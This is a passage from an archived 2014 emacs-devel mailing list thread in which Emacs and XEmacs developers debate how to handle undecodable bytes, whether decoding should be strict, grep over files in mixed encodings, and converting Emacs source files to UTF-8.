>> Date: Mon, 13 Oct 2014 09:59:21 +0200
>> 
>> Syntax highlighting may want to point such things out.  That's perfectly
>> fine.
>
> Emacs indeed shows raw bytes in a distinct face.

Which probably comes at some cost.  I think at one time it provided some
mouse-over information in an overlay and I seem to remember that this
overlay may even have been the _whole_ difference between, say, a raw
byte 0xa0 and the Unicode character at code point 0xa0.

Making this distinction a part of the encoding rather than of a side
channel like an overlay seems quite smart to me.

Again: the overlay thing is just some vague memory and it might actually
have been in either Emacs or XEmacs.  At any rate, it would appear to
carry a somewhat excessive cost.  Syntax highlighting also comes at a
cost, but at least it only happens on buffers actually being displayed
rather than in the process of strings and buffers employed
programmatically.

For programmatic use, stray undecodable bytes come at the cost of an
additional byte.  That's cheap enough to be acceptable in more than just
exceptional cases.  And I commend Emacs for doing its best for not
prescribing my decisions and workflow by making some viable choices
unnecessarily expensive or hard.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > The alternative would be to create an encoding
 > utf-8-with-bad-linebreaks and the respective coders/recoders and
 > have that as the terminal encoding for running TeX.

Actually, Emacs *could* design a sane API where the error handler is
specified separate from the encoding.  This is *much* more important
here than it was with the EOL convention.

 > > Nevertheless, things are much better today than in the days when
 > > Erik Naggum declared that "Emacs has a fatal disease, and its
 > > name is 'MULE'".
 > 
 > Erik was the highest profile programmer/user abandoning Emacs for
 > XEmacs in order to avoid the consequences of multibyte encodings.

If he did, I never heard about it.  ISTR he hated XEmacs worse than he
hated Mule.  I know he stopped following the Emacs mainline, but AFAIK
he either went to a Common Lisp implementation like Hemlock, or rolled
his own based on a pre- Mule version of GNU Emacs, not XEmacs.

 > MULE (which is now pretty unavoidable in XEmacs as well I _think_)

No, XEmacs built fine without Mule as of early summer.  XEmacs 21.5 at
least has limited ability to deal with Unicode without Mule, but I
don't remember exactly how far it goes.  It may be that you're stuck
with Latin 1 characters as the internal repertoire, or it may be able
to deal with Unicode UTFs as long as the stream is limited to a
repertoire contained in a single unibyte character set.  If the
latter, you have to select fonts appropriately since such an XEmacs
knows nothing about non-Unicode character sets other than ASCII.

Of course if you want to deal sensibly with non-ASCII, you need to
build XEmacs with Mule, but there are a lot of American programmers
who don't need that even today.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > Historically, any real-life risks that were reported on the Emacs
 > lists were handled and fixed very quickly and without any discussions
 > as to whether they should be fixed.

Fine.  I prefer a more proactive approach, and I've explained why.
You don't think the explanations make sense, no problem for me. ;-)

Re: Emacs Lisp's future

[Uwe Brauer]

>> "Stephen" == Stephen J Turnbull <stephen@xemacs.org> writes:
   > Actually, Emacs *could* design a sane API where the error handler is
   > specified separate from the encoding.  This is *much* more important
   > here than it was with the EOL convention.


   > If he did, I never heard about it.  Istr he hated XEmacs worse than he
   > hated Mule.  I know he stopped following the Emacs mainline, but AFAIK
   > he either went to a Common Lisp implementation like Hemlock, or rolled
   > his own based on a pre- Mule version of GNU Emacs, not XEmacs.

He did not, I recall to have asked him explicitly (I don't remember in
which context) and he said, he would never use Xemacs.


He even published a remove-mule-from-emacs20-survival-kit.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > The alternative would be to create an encoding
>  > utf-8-with-bad-linebreaks and the respective coders/recoders and
>  > have that as the terminal encoding for running TeX.
>
> Actually, Emacs *could* design a sane API where the error handler is
> specified separate from the encoding.  This is *much* more important
> here than it was with the EOL convention.
>
>  > > Nevertheless, things are much better today than in the days when
>  > > Erik Naggum declared that "Emacs has a fatal disease, and its
>  > > name is 'MULE'".
>  > 
>  > Erik was the highest profile programmer/user abandoning Emacs for
>  > XEmacs in order to avoid the consequences of multibyte encodings.
>
> If he did, I never heard about it.  ISTR he hated XEmacs worse than he
> hated Mule.  I know he stopped following the Emacs mainline, but AFAIK
> he either went to a Common Lisp implementation like Hemlock, or rolled
> his own based on a pre- Mule version of GNU Emacs, not XEmacs.

At first glance, indeed I find
<URL:http://www.emacswiki.org/ErikNaggum#toc1>, the "multibyte survival
kit" for Emacs.

Here's some discussion involving Erik Naggum and myself in 1997 about
MULE and Emacs 20
<URL:https://groups.google.com/forum/#!topic/comp.emacs/ge7syiq7oy8>.
Interesting historic read.

Erik says in that thread "XEmacs has done this right: offer MULE as an
option at build-time.".  At any rate, it is funny to see that I propose
using an array-of-characters programming model with underlying multibyte
representation there, which is dismissed by Erik as not tenable.

Of course, it is what we _have_ since about Emacs 20.3 or 20.4 or so.

So at any rate: at a cursory search I find nothing supporting my
statement about Erik and XEmacs, but some references that may explain
the direction I misremember.

I also find that I've been more involved with coding sanity issues than
I remember.  Though I am pretty sure not to the degree of contributing
actual code.

>  > MULE (which is now pretty unavoidable in XEmacs as well I _think_)
>
> No, XEmacs built fine without Mule as of early summer.  XEmacs 21.5 at
> least has limited ability to deal with Unicode without Mule, but I
> don't remember exactly how far it goes.  It may be that you're stuck
> with Latin 1 characters as the internal repertoire, or it may be able
> to deal with Unicode UTFs as long as the stream is limited to a
> repertoire contained in a single unibyte character set.  If the
> latter, you have to select fonts appropriately since such an XEmacs
> knows nothing about non-Unicode character sets other than ASCII.
>
> Of course if you want to deal sensibly with non-ASCII, you need to
> build XEmacs with Mule, but there are a lot of American programmers
> who don't need that even today.

Ok, so that state is basically like the situation Erik lauded XEmacs
for.  My personal impression is that the historical
one-size-must-fit-all approach of Emacs has, after the initial pain it
caused, led to a situation and code base that does a reasonable job at
keeping the costs of versatility as well in check as can be expected.
We don't have the "you should have been using other compilation options"
argument to fall back on, so it better should.

-- 
David Kastrup

Re: Emacs Lisp's future

[Paul Eggert]

Stephen J. Turnbull wrote:
> The file or application is truly local, provided with the OS or
>      created by the user.  In that case on a well-maintained system,
>      the encoding should be valid

It could easily be mixed.  For example, in the Emacs source code the output of 
the shell command "grep -r she *" produces some text that is UTF-8 and some that 
is 8-bit EUC.  So the shell command's output is not valid even though all its 
input files are valid.  This type of thing is not uncommon.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Paul Eggert writes:
 > Stephen J. Turnbull wrote:
 > > The file or application is truly local, provided with the OS or
 > >      created by the user.  In that case on a well-maintained system,
 > >      the encoding should be valid
 > 
 > It could easily be mixed.  For example, in the Emacs source code
 > the output of the shell command "grep -r she *" produces some text
 > that is UTF-8 and some that is 8-bit EUC.  So the shell command's
 > output is not valid even though all its input files are valid.
 > This type of thing is not uncommon.

Not uncommon, but no more (and no less) sensible than "zgrep she
/vmlinuz".  Both commands are useful in some contexts, but neither
command's output should be thought of as "encoded text" in the sense
that any codec I know of can handle and produce useful output for all
of the encodings (or even more than one).

If you're planning further processing you shouldn't allow something as
mechanical as a codec anywhere near that stuff: you should accept it
into a buffer as binary, and do your own conversions based on any
useful heuristics you have.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Paul Eggert writes:
>  > Stephen J. Turnbull wrote:
>  > > The file or application is truly local, provided with the OS or
>  > >      created by the user.  In that case on a well-maintained system,
>  > >      the encoding should be valid
>  > 
>  > It could easily be mixed.  For example, in the Emacs source code
>  > the output of the shell command "grep -r she *" produces some text
>  > that is UTF-8 and some that is 8-bit EUC.  So the shell command's
>  > output is not valid even though all its input files are valid.
>  > This type of thing is not uncommon.
>
> Not uncommon, but no more (and no less) sensible than "zgrep she
> /vmlinuz".  Both commands are useful in some contexts, but neither
> command's output should be thought of as "encoded text" in the sense
> that any codec I know of can handle and produce useful output for all
> of the encodings (or even more than one).
>
> If you're planning further processing you shouldn't allow something as
> mechanical as a codec anywhere near that stuff: you should accept it
> into a buffer as binary, and do your own conversions based on any
> useful heuristics you have.

Binary is quite unpractical when you are working in a locale and the
vast majority of output fits it.  Then you want to have things displayed
according to locale and have that stuff which doesn't fit formatted as
some sort of recognizable escape sequence.

And I am mighty glad that Emacs does that without some "if Emacs cannot
be 100% correct it should at least be 100% inconvenient" rule getting in
the way of getting work done.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > Binary is quite unpractical when you are working in a locale

The Emacs source tree evidently doesn't *have* a locale in the
relevant sense since it has multiple encodings.

 > and the vast majority of output fits it.  Then you want to have
 > things displayed according to locale and have that stuff which
 > doesn't fit formatted as some sort of recognizable escape sequence.

For Paul's example, I suppose binary would work just fine, since he's
searching for ASCII and Emacs sources are probably over 95% ASCII.

And in *my* locale, the whole locale concept sucks becaues no matter
what locale I choose somewhere between 1/3 and 2/3 of the text (all
perfectly intelligible Japanese) will be unreadable according to that
locale.

The real world is stranger and more dangerous than you imagine.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > Binary is quite unpractical when you are working in a locale
>
> The Emacs source tree evidently doesn't *have* a locale in the
> relevant sense since it has multiple encodings.
>
>  > and the vast majority of output fits it.  Then you want to have
>  > things displayed according to locale and have that stuff which
>  > doesn't fit formatted as some sort of recognizable escape sequence.
>
> For Paul's example, I suppose binary would work just fine, since he's
> searching for ASCII and Emacs sources are probably over 95% ASCII.
>
> And in *my* locale, the whole locale concept sucks becaues no matter
> what locale I choose somewhere between 1/3 and 2/3 of the text (all
> perfectly intelligible Japanese) will be unreadable according to that
> locale.

And 100% illegible is better?

> The real world is stranger and more dangerous than you imagine.

Apparently.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Date: Tue, 14 Oct 2014 02:49:56 +0900
> Cc: emacs-devel@gnu.org
> 
> The Emacs source tree evidently doesn't *have* a locale in the
> relevant sense since it has multiple encodings.

That's not true: we try using UTF-8 wherever possible.  The few files
that don't use that simply cannot.  But they are a tiny minority.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    That distinction is quite blurred in latest Emacs versions.  E.g.,
    shell-command-to-string might call a process on a remote host and
    communicate with it via open-network-stream or some such.  There are
    several interactive commands already that use this feature.

The cases where their arguments for strictness are strongest
are the noninteractive ones that don't show the text to a user
for editing.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Speaking only for myself, no, I mean all octet streams purported to
    be encoded text, network or local.

We can't do that.  That would be intolerable for users, for the reasons
others have explained.

However, the examples people have offered mostly include working in
pipelines with network services.  Those cases involve noninteractive
processing and using the network.  It would be ok in those cases
to be more strict about decoding.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Mon, 13 Oct 2014 22:09:37 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
> 	monnier@iro.umontreal.ca, stephen@xemacs.org
> 
>     That distinction is quite blurred in latest Emacs versions.  E.g.,
>     shell-command-to-string might call a process on a remote host and
>     communicate with it via open-network-stream or some such.  There are
>     several interactive commands already that use this feature.
> 
> The cases where their arguments for strictness are strongest
> are the noninteractive ones that don't show the text to a user
> for editing.

I believe the commands that use shell-command-to-string are a good
example of these cases.  That function is frequently used as
infrastructure to query an external program about something, and the
result is then used, at least in some cases, to decide how to proceed.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > That's not true: we try using UTF-8 wherever possible.  The few files
 > that don't use that simply cannot.

That doesn't seem to be true.  In fact many of the encodings
discovered by "grep -r -e '-\\*- coding:" are ISO 2022 conformant, and
a few indeed appear to be EUC encodings under an alias (eg,
chinese-iso-8bit-unix).  AFAICS, the only encodings listed that can't
be encoded in UTF-8 are the Big 5 family -- and that's only if you
demand bug-compatibility.[1]

So "simply cannot" evidently is your way of saying "inconvenient".[2]

Note that because of multiple encodings, in the Emacs tree "grep -r"
is probably just a bug.  It's not that you can't read the foreign
languages in "wrong" encodings.  Rather, if your search key is in one
of those languages, you'll *miss occurances* in the "wrong" encodings.

With your preferred default, most users will live their whole lives
without recognizing the bug.  With a strict default, they have a
fighting chance of learning about it.

Footnotes: 
[1]  Big 5 contains a few duplicated characters (at different code
points), so *as text* those files can be represented in Unicode (no
text information is lost since the characters in question are
identical in all ways except Big 5 code point), although *as binary
files* they may not be roundtrippable to UTF-8 (it depends on which
code point is chosen for the duplicated character).

[2]  The inconvenience is pretty significant, here: you'd lose
diff'ability across the conversion boundary.  Thus only new files are
*required* to use UTF-8 (no diff discontinuity), and conversions of
existing files are presumably done only with great care, if at all.

Still, I would think the benefits of having these files be greppable
(and etags-able!) would outweigh that inconvenience in a very short
period of time (maybe a year?)  Except for documentation files, the
files that need these characters probably don't change much.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: dak@gnu.org,
>     emacs-devel@gnu.org
> Date: Tue, 14 Oct 2014 16:03:42 +0900
> 
> Eli Zaretskii writes:
> 
>  > That's not true: we try using UTF-8 wherever possible.  The few files
>  > that don't use that simply cannot.
> 
> That doesn't seem to be true.  In fact many of the encodings
> discovered by "grep -r -e '-\\*- coding:" are ISO 2022 conformant, and
> a few indeed appear to be EUC encodings under an alias (eg,
> chinese-iso-8bit-unix).  AFAICS, the only encodings listed that can't
> be encoded in UTF-8 are the Big 5 family -- and that's only if you
> demand bug-compatibility.[1]

First, you missed the file-local variables (the pattern you used with
Grep will only find the cookies on the first line).  Second, you
missed file-coding-system-alist, auto-coding-alist, and
auto-coding-regexp-alist, which set defaults for some files that
therefore no longer need to be explicitly stated in the file.

So please believe me when I say that the files encoded in anything
that isn't UTF-8 are those where using UTF-8 was impossible for some
specific reason (not the reasons you mention above).  You can look up
the related discussions in our list archives.

Btw, to find out how many of our files are in UTF-8 and how many
aren't, I would suggest to use tools that can explicitly tell the
encoding, rather than rely on Grep and on whatever you remember are
the ways of specifying a file's encoding.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> Date: Mon, 13 Oct 2014 22:09:37 -0400
>> From: Richard Stallman <rms@gnu.org>
>> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
>> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
>> 	monnier@iro.umontreal.ca, stephen@xemacs.org
>> 
>>     That distinction is quite blurred in latest Emacs versions.  E.g.,
>>     shell-command-to-string might call a process on a remote host and
>>     communicate with it via open-network-stream or some such.  There are
>>     several interactive commands already that use this feature.
>> 
>> The cases where their arguments for strictness are strongest
>> are the noninteractive ones that don't show the text to a user
>> for editing.
>
> I believe the commands that use shell-command-to-string are a good
> example of these cases.  That function is frequently used as
> infrastructure to query an external program about something, and the
> result is then used, at least in some cases, to decide how to proceed.

And treating undecodable bytes different from other input regarding
verification/sanitizing is going to make things more secure just how?
I should have thought that using several different mechanisms here is
going to increase rather than decrease the number of possible attack
vectors.  Or is the idea that any application is safe to be called as
long as we don't carry more than 200ml of liquids -- sorry, wrong
security theatre.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Tue, 14 Oct 2014 10:41:56 +0300
> From: Eli Zaretskii <eliz@gnu.org>
> Cc: dak@gnu.org, emacs-devel@gnu.org
> 
> So please believe me when I say that the files encoded in anything
> that isn't UTF-8 are those where using UTF-8 was impossible for some
> specific reason (not the reasons you mention above).  You can look up
> the related discussions in our list archives.

Here's the discussion I had in mind:

  http://lists.gnu.org/archive/html/bug-gnu-emacs/2013-03/msg00420.html

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > >  > That's not true: we try using UTF-8 wherever possible.  The few files
 > >  > that don't use that simply cannot.
 > > 
 > > That doesn't seem to be true.  In fact many of the encodings
 > > discovered by "grep -r -e '-\\*- coding:" are ISO 2022 conformant, and
 > > a few indeed appear to be EUC encodings under an alias (eg,
 > > chinese-iso-8bit-unix).  AFAICS, the only encodings listed that can't
 > > be encoded in UTF-8 are the Big 5 family -- and that's only if you
 > > demand bug-compatibility.[1]
 > 
 > First, you missed the file-local variables (the pattern you used with
 > Grep will only find the cookies on the first line).

So?  That's not a bug, since I only need to show existence of files
that use coding systems that *could* be translated to UTF-8 but
weren't.  I'm aware that not every file in a non-default encoding will
have such a cookie, and that the cookies may be mistaken, of course.

 > Btw, to find out how many of our files are in UTF-8 and how many
 > aren't, I would suggest to use tools that can explicitly tell the
 > encoding, rather than rely on Grep and on whatever you remember are
 > the ways of specifying a file's encoding.

Sure, but it's ironic that *you* are saying that to *me*, when you're
on the side saying that if you get the wrong encoding somehow you want
rawbytes.  Shouldn't you use tools that can explicitly tell you the
encoding? ;-)

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: dak@gnu.org,
>     emacs-devel@gnu.org
> Date: Tue, 14 Oct 2014 17:34:38 +0900
> 
> Eli Zaretskii writes:
> 
>  > >  > That's not true: we try using UTF-8 wherever possible.  The few files
>  > >  > that don't use that simply cannot.
>  > > 
>  > > That doesn't seem to be true.  In fact many of the encodings
>  > > discovered by "grep -r -e '-\\*- coding:" are ISO 2022 conformant, and
>  > > a few indeed appear to be EUC encodings under an alias (eg,
>  > > chinese-iso-8bit-unix).  AFAICS, the only encodings listed that can't
>  > > be encoded in UTF-8 are the Big 5 family -- and that's only if you
>  > > demand bug-compatibility.[1]
>  > 
>  > First, you missed the file-local variables (the pattern you used with
>  > Grep will only find the cookies on the first line).
> 
> So?  That's not a bug, since I only need to show existence of files
> that use coding systems that *could* be translated to UTF-8 but
> weren't.

My original statement was that we try using UTF-8 "whenever possible".
I didn't define "possible", but the discussion to which I pointed has
the necessary details for that.

I also said that the non-UTF-8 files are a minority; for that,
counting the UTF-8 encoded files without missing any, no matter how
their encoding is determined, is important.

>  > Btw, to find out how many of our files are in UTF-8 and how many
>  > aren't, I would suggest to use tools that can explicitly tell the
>  > encoding, rather than rely on Grep and on whatever you remember are
>  > the ways of specifying a file's encoding.
> 
> Sure, but it's ironic that *you* are saying that to *me*, when you're
> on the side saying that if you get the wrong encoding somehow you want
> rawbytes.  Shouldn't you use tools that can explicitly tell you the
> encoding? ;-)

Irrelevant.  The issue to which you responded was whether the majority
of files in the Emacs repository use a certain encoding, which would
thus constitute a kind of "de-facto locale" for Emacs files.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > Here's the discussion I had in mind:
 > 
 >   http://lists.gnu.org/archive/html/bug-gnu-emacs/2013-03/msg00420.html

Oh, that's rich:

    The same can be said for etc/tutorials/TUTORIAL.ja.  This file
    should be shown in a proper Japanese font even for a user not in
    Japanese lang. env.

With all due respect, Dr. Handa, that is quite ironic.  You know as
well as I do what every Japanese textbook does to Chinese poetry.

Technically speaking, this kind of font choice is better done with
metadata.  For example, the user's default fonts might not make a
clear distinction among the different styles, or might be very
unrepresentative of one or more languages' typical style.  The fact
that Emacs *can* do it based on character set is kinda silly nowadays
because *nobody else* does.  The effort would be better spent on
improving CSS support.

And this again is amusing:

CJK variety: GB(元气,开发), BIG5(元氣,開發), JIS(元気,開発), KSC(元氣,開發)

I know[1] that there are consistent font style differences between
each pair of coding systems above, and those are nice to have.  But
what is funny is that *mostly those are not glyph differences in the
same character across languages, those are different characters in
Unicode!*  (Those are not 4 characters represented in 4 different
coding systems: there are at least 8 different characters involved.
And all but 2 of them are in fact representable in that venerable
subset of the Japanese standard, JIS X 0208.)

So, yes, I suppose that there are minor technical issues (I note that
TUTORIAL.ja didn't round-trip -- which is odd, and "CJK variety"
obviously can't).  But the assertions that these files "shouldn't"
converted to UTF-8 because the differences "cannot" be represented in
UTF-8 are primarily artistic, and a point of view with which many
users differ.  (Besides the practice of the Japanese Ministry of
Education, Culture, etc, mentioned above, my Chinese students often
prefer to use Chinese fonts for their Japanese papers because they are
"more readable", for example -- of course, they need to fix that when
they hand them in to Japanese professors, who find the Chinese fonts
"unreadable" -- and so it goes.)


Footnotes: 
[1]  I'm working in a TTY so I can't see them at the moment.

Re: Emacs Lisp's future

[Paul Eggert]

On 10/14/2014 12:03 AM, Stephen J. Turnbull wrote:
> in the Emacs tree "grep -r"
> is probably just a bug.

Although "grep -r" doesn't conformto POSIX, it is a handy GNU extension, 
and I use it a lot, both in the Emacs source tree and elsewhere.  GNU 
grep works reasonably well even with text files in the "wrong" encoding, 
and even with non-text files.  I don't expect grep to match UTF-8 
patterns to the corresponding EUC-JP text, because I know it doesn't 
translate.

Emacs's M-x grep command supports this usage well, and I don't see how 
it would be an improvement to call this usage a "bug" or for the Emacs 
(or grep) default to insist on strict coding correctness here.

Eli is correct that UTF-8 is the encoding typically used for text in the 
Emacs source code.  For more about this, please see "Source file 
encoding" in admin/notes/unicode.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Paul Eggert writes:
 > On 10/14/2014 12:03 AM, Stephen J. Turnbull wrote:
 > > in the Emacs tree "grep -r"
 > > is probably just a bug.
 > 
 > Although "grep -r" doesn't conformto POSIX, it is a handy GNU extension, 

It's not a question of conformance, it's a question of GIGO.  As you
yourself know:

 > grep works reasonably well even with text files in the "wrong" encoding, 
 > and even with non-text files.  I don't expect grep to match UTF-8 
 > patterns to the corresponding EUC-JP text, because I know it doesn't 
 > translate.

Oh, so you intentionally chose an example where you know it works, and
published that on a public mailing list, without warning the kids not
to try it at home?  Do you realize that although all Japanese computer
users occasionally experience mojibake, only a few understand the
mechanism and its implications for "simple" operations like grep?  I
suppose that goes in spades for the Chinese.  Consider searching for
元気 to find HELLO, "knowing" that Emacs uses the UTF-8 encoding!

 > Emacs's M-x grep command supports this usage well, and I don't see how 
 > it would be an improvement to call this usage a "bug" or for the Emacs 
 > (or grep) default to insist on strict coding correctness here.

Ah, so you've never lived anywhere but Kansas, Dorothy?  There are 1.5
billion[1] Asians who disagree that "grep -r しまった" is well-
supported by Emacs or grep in an environment with multiple encodings,
which is most of them (except where they've consciously instituted a
program of converting legacy documents to a common encoding).  That's
why the "Japanese patch" is also "the patch that would not die".

But that patch is not in any mainline program that I know of, because
accurate auto-detection requires knowledge of the target language so
it doesn't generalize (the "Japanese patch" assumes that the language
is Japanese, so it must be facing ISO-2022-JP, Shift-JIS, or EUC-JP,
and relatively recent versions added UTF-8 and BOM detection to that).
The patch is not able to distinguish EUC-JP from EUC-CN, for example,
in typical use where the designations of character sets to registers
is implicit.  (Distinguishing Shift-JIS from Big5 is highly but not
100% reliable, and of course distinguishing the language variants of
ISO-2022-7 is trivial because the control sequences specify character
sets to be installed in the GL register.)

 > Eli is correct that UTF-8 is the encoding typically used for text
 > in the Emacs source code.  For more about this, please see "Source
 > file encoding" in admin/notes/unicode.

XEmacs made that decision in 1998 (only using ISO-2022-JP).  I know
how this works.  The only difference between us is that I live in
Tsukuba, and I've spoken to Handa and Tomita inter alia about these
issues over beers (in Japanese as well as in English), and I've read
the extremist anti-Unicode tirades (in Japanese).  I don't know *why*
Dr. Handa sides with those maniacs (they claim that JIS incorporates a
mystic Yamato-damashii = "authentic Japanese spirit") although I
believe it's out of a genuine desire to support multiculturalism (via
his specialty of developing multilingual software).

However, like the Japanese patch, detecting culture and choosing font
for the same repertoire via encoding is a limited technique.  It only
works well for Han-using languages.  For example, the northern
European countries have different notions about positioning of
accents, which is apparently noticable to non-native speakers with
umlauts.  I suspect (though I haven't asked and don't have time to
search the library for wordwide newspapers) that the various
English-speaking cultures, the French, the Spanish, the Italians, and
the Germans have different notions of what constitutes readable or
beautiful typography -- it's definitely the case that the ASCII
characters in Japanese fonts "look Japanese" (to me, anyway).  But
good luck choosing fonts based on distinguishing ISO-8859-1 from
ISO-8859-1! :-)

Dr. Handa's approach to multiculturalism, then, is fundamentally
different from that of the engineers and scholars who have evolved
Unicode (more precisely, universal coded character sets and the
related encoding mechanisms) over the last 30 years or so, not to
forget the W3C which has concluded that (as long as conventional
glyphs are available for the character repertoire) font choice is
purely a presentation issue, and should be handled by markup.  Unicode
has even deprecated the use of "language tag" characters.  They do
remain in the repertoire, so could be used to deal with the issues
we are discussing.

http://www.unicode.org/faq/languagetagging.html
http://www.unicode.org/versions/Unicode6.2.0/ch16.pdf#G26419

Note that the language tags are isomorphic to control sequences as
used in ISO 2022 (except that being encoded in a block disjoint from
graphic characters, they're harder to screw up), so they introduce no
text handling issues for Emacs not already present in encodings using
ISO 2022 extension techniques.

So there you have it.  There is *no barrier* to converting *all* files
to conformant UTF-8, except a couple hours' hacking to make
`help-with-tutorial' and `view-hello-file' recognize language tags.[2]
It might be preferable to use a different approach, more conformant to
the Unicode/W3C party line, though.

Thank you for your persistence.  This discussion will greatly inform
my future work in XEmacs.  (I'm done discussing the issue for Emacs,
because I don't expect Dr. Handa -- who is more expert than I -- to
change his approach after all these years.  This is all just IMHO FWIW
YMMV -- and I suspect Dr. Handa counts his "mileage" in kilometers. ;-)



Footnotes: 
[1]  I don't know about Indic languages.  I'm under the impression
that these days they almost universally use Unicode in preference to
ISCII and such-like, so they may not have the issue.  If that is
incorrect, then you can make that 2.5 billion Asians.

[2]  Note that the limitation of the hack to those functions only is
consistent with the Unicode-recommended usage of language tags.

Re: Emacs Lisp's future

[Paul Eggert]

Stephen J. Turnbull wrote:
> you intentionally chose an example where you know it works, and
> published that on a public mailing list, without warning the kids not
> to try it at home?

It's perfectly fine for users to try "M-x grep -r" at home.  It's not going to 
hurt them.  It's a common idiom, and lots of people use it every day.

> There is *no barrier* to converting *all* files
> to conformant UTF-8, except a couple hours' hacking to make
> `help-with-tutorial' and `view-hello-file' recognize language tags.

I already proposed that for most files, and nobody opposed the idea; see 
<http://bugs.gnu.org/13936#29>.  It's just that nobody has found the "couple 
hours'" hacking time.  Although it's low on my priority list, evidently it's 
higher on yours; perhaps you can propose a patch?  It's not a big deal if you 
can't; I expect eventually someone will get around to it.

> Ah, so you've never lived anywhere but Kansas, Dorothy?

I'm well aware of all the problems you mentioned.  None of them are valid 
arguments that it's a "bug" to use "grep -r" in the Emacs source directory. 
Conversely, it appears that you did not read the file admin/notes/unicode 
carefully; if you had, you would not be asserting so blithely that there is "no 
barrier" to converting all Emacs source files to UTF-8.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Paul Eggert writes:

 > It's perfectly fine for users to try "M-x grep -r" at home.  It's
 > not going to hurt them.

That's true for "hurt" == "must call 911".  There are very few
computer applications where bugs can result in 911 calls, though.
That's an awfully low quality standard you have there.

 > It's a common idiom, and lots of people use it every day.

Because they're monolingual English speakers, they can.  Others
cannot, unless they have an environment where there is a common coded
character set used for all textual content.  Even an American
searching for all instances of the CENT SIGN would be subject to
this bug.

http://www.thecomicstrips.com/store/add.php?iid=83467

 > Conversely, it appears that you did not read the file
 > admin/notes/unicode carefully;

"It appears that you have not studied Unicode carefully", as there is
nothing in that file that suggests anything but work is involved in a
conversion that loses no character information, since the external
coding system utf-8-emacs is available.  Even that can be dispensed
with, and pure Unicode used, with a little more work (use the PUA,
that's what it is there for!)

The metadata (language, for which original coded character set is a
proxy) can be provided either with a markup language (eg, XML or even
HTML) or using Plane 14 tags (but I wrote that already).

 > if you had, you would not be asserting so blithely that there is
 > "no barrier" to converting all Emacs source files to UTF-8.

I stand corrected.  No *technical* barrier.  It does require
nontrivial work: simply filtering through iconv is not enough.

There's also a political barrier: I believe that characters are
characters, and may be shared across traditional character set
boundaries, and that the presentation layer should specify
presentation.  Dr. Handa prefers that presentation be encoded in the
content.  I have no stomach for that argument.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: Eli Zaretskii <eliz@gnu.org>,
>     emacs-devel@gnu.org
> Date: Wed, 15 Oct 2014 16:17:52 +0900
> 
>  > Conversely, it appears that you did not read the file
>  > admin/notes/unicode carefully;
> 
> "It appears that you have not studied Unicode carefully", as there is
> nothing in that file that suggests anything but work is involved in a
> conversion that loses no character information, since the external
> coding system utf-8-emacs is available.  Even that can be dispensed
> with, and pure Unicode used, with a little more work (use the PUA,
> that's what it is there for!)

utf-8-emacs is a private encoding used and understood by Emacs alone,
so encoding Emacs files in that would make them unusable
(unsearchable, unreadable, etc.) with anything but Emacs.

As for using PUA, you have been told just a few days ago why this is
not going to work with Emacs.

> The metadata (language, for which original coded character set is a
> proxy) can be provided either with a markup language (eg, XML or even
> HTML) or using Plane 14 tags (but I wrote that already).

It is easy to suggest such major endeavors to other projects in which
you have no intention to become involved.  From the Emacs side, this
would be a terrible waste of resources, since the "problem" is already
solved in Emacs by other means, which work well, based on several
years of real-life experience.

>  > if you had, you would not be asserting so blithely that there is
>  > "no barrier" to converting all Emacs source files to UTF-8.
> 
> I stand corrected.  No *technical* barrier.  It does require
> nontrivial work: simply filtering through iconv is not enough.
> 
> There's also a political barrier: I believe that characters are
> characters, and may be shared across traditional character set
> boundaries, and that the presentation layer should specify
> presentation.  Dr. Handa prefers that presentation be encoded in the
> content.  I have no stomach for that argument.

The statement that UTF-8 is a de-facto Emacs "locale" still stands.
And so having Emacs behave in a way that makes it easy to work with
these files, including those few that for various reasons are encoded
